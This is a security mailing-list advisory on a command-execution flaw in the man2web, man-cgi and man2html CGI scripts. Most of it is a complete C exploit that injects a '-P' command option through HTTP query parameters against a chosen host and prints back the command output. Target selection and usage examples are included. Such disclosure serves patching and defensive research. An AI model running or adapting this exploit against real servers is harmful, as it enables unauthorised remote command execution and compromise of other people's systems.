[EXPL] Man2web CGI Command Execution

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

Man2web CGI Command Execution
------------------------------------------------------------------------

SUMMARY

" <http://man2web.sourceforge.net/> man2web is a program for converting
man output to html on the fly (as a CGI program) or on the command line."

Lack of proper parameter filtering allows attackers to execute arbitrary
commands on man2web CGI script.

DETAILS

Exploit:
/* dl-mancgi.c v0.2
* x86/linux multiple man2web cgi-scripts remote command spawn
* found and coded by tracewar (darklogic team)
* for educational purposes only.
*********************************
* greetz goes to:
* matan peretz, ofer shaked, setuid, alex, majestic
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

void usage(char *argv0) {
fprintf(stderr, "x86/linux multipie man2web cgi-scripts remote
command spawn\n");
fprintf(stderr, "researched by tracewar\n");
fprintf(stderr, "targets: \n0=man-cgi\n1=man2web\n2=man2html\n\n");
fprintf(stderr, "usage: %s <remote_host> <command> <path> <http server
port> <target>\n", argv0);
fprintf(stderr, "example:");
fprintf(stderr, " %s 1.2.3.4 w /cgi-bin/man-cgi 80 0\n",argv0);
exit(0);
}

int main(int argc, char *argv) {
int sock, i, j;
struct sockaddr_in serv_addr;
struct hostent *crap;
char *cp, dummy[50000], buffer[2000] = "GET ";
if(argc < 6)
usage(argv[0]);
if(atoi(argv[5]) == 0) {
memset(dummy, 0x00, 50000);
strcat(dummy, argv[3]);
strcat(dummy, "?-P ");
strcat(dummy, argv[2]);
strcat(dummy, " ls");}
else if(atoi(argv[5]) == 1) {
memset(dummy, 0x00, 50000);
strcat(dummy, argv[3]);
strcat(dummy, "?program=-P ");
strcat(dummy, argv[2]);
strcat(dummy, " ls");}
else if(atoi(argv[5]) == 2) {
memset(dummy, 0x00, 50000);
strcat(dummy, argv[3]);
strcat(dummy, "?section=-P");
strcat(dummy, argv[2]);
strcat(dummy, "&topic=w");}
else
usage(argv[0]);

printf("# crafting buffer string ... ");
for(i=0, j=4;i < strlen(dummy);i++) {
if(dummy[i] == ' ') {
strcat(buffer, "%20");
j+=3;}
else {
buffer[j] = dummy[i];
j++;}
}

strcat(buffer, "\r\n");
printf("(done)\n");
sock = socket(AF_INET, SOCK_STREAM, 0);
if(sock < 0)
return printf("# error creating socket.\n");
crap = gethostbyname(argv[1]);
if(crap == NULL)
return printf("# cant resolve the specified hostname:
%s\n", argv[1]);
else
printf("# connecting to victim... ");

serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(atoi(argv[4]));
bcopy((char *)crap->h_addr, (char *)&serv_addr.sin_addr.s_addr,
crap->h_length);

if (connect(sock, &serv_addr, sizeof(serv_addr)) < 0)
return printf("(error)\n# check again %s:%d\n", argv[1],
atoi(argv[3]));

printf("(done)\n# sending crafted string... ");
if( (send(sock, buffer, strlen(buffer), 0)) == -1 )
return printf("\n# error while sending the crafted
string.!\n");
printf("(done)\n# waiting for our call ...\n");
memset(buffer, 0x00, 2000);
memset(dummy, 0x00, 50000);
printf("\n\n");
while(recv(sock, buffer, 2000, 0) > 0)
strcat(dummy, buffer);

cp = &dummy[0];
i = 0;

if(atoi(argv[5]) == 0) {
while(strncmp(cp, "<hr>", 4)) {
cp++;
i++;
}
cp+=4;
while(strncmp(cp, "<hr>", 4) && strncmp(cp, "<A", 2))
cp++;
*cp = '\0';
cp = &dummy[0] + i + 4;
}

else if(atoi(argv[5]) == 1) {
while(strncmp(cp, "\<pre\>", 5)) {
cp++;
i++;
}
cp+=4;
while(strncmp(cp, "pre", 3))
cp++;
*cp = '\0';
cp = &dummy[0] + i + 6;
}

else if(atoi(argv[5]) == 2) {
while(strncmp(cp, "PRE", 3)) {
cp++;
i++;
}
cp+=2;
while(strncmp(cp, "PRE", 3))
cp++;
*cp = '\0';
cp = &dummy[0] + i + 2;
}

if(*cp == '\0')
return printf("# Bad respone from the server.\n");

printf("%s", cp);
printf("\n\n");
close(sock);
return 0;
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:tracewar@gmail.com>
tracewar.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.